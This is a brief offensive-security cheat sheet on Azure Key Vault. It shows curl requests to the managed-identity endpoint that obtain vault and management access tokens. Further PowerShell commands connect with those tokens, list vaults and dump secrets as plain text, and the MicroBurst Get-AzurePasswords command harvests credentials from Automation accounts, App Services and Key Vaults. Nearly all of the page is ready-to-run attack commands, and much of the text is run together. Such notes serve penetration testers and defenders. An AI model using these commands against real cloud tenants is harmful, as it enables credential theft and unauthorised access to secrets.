Azure Services - KeyVault
contents
Access Token#
Keyvault access token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADERcurl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADERConnect with the access token
PS> $token = 'eyJ0..'PS> $keyvaulttoken = 'eyJ0..'PS> $accid = '2e...bc'PS Az> Connect-AzAccount -AccessToken $token -AccountId $accid -KeyVaultAccessToken $keyvaulttoken
Query Secrets#
Query the vault and the secrets
PS Az> Get-AzKeyVaultPS Az> Get-AzKeyVaultSecret -VaultName <VaultName>PS Az> Get-AzKeyVaultSecret -VaultName <VaultName> -Name Reader -AsPlainTextExtract secrets from Automations, AppServices and KeyVaults
Import-Module Microburst.psm1PS Microburst> Get-AzurePasswordsPS Microburst> Get-AzurePasswords -Verbose | Out-GridView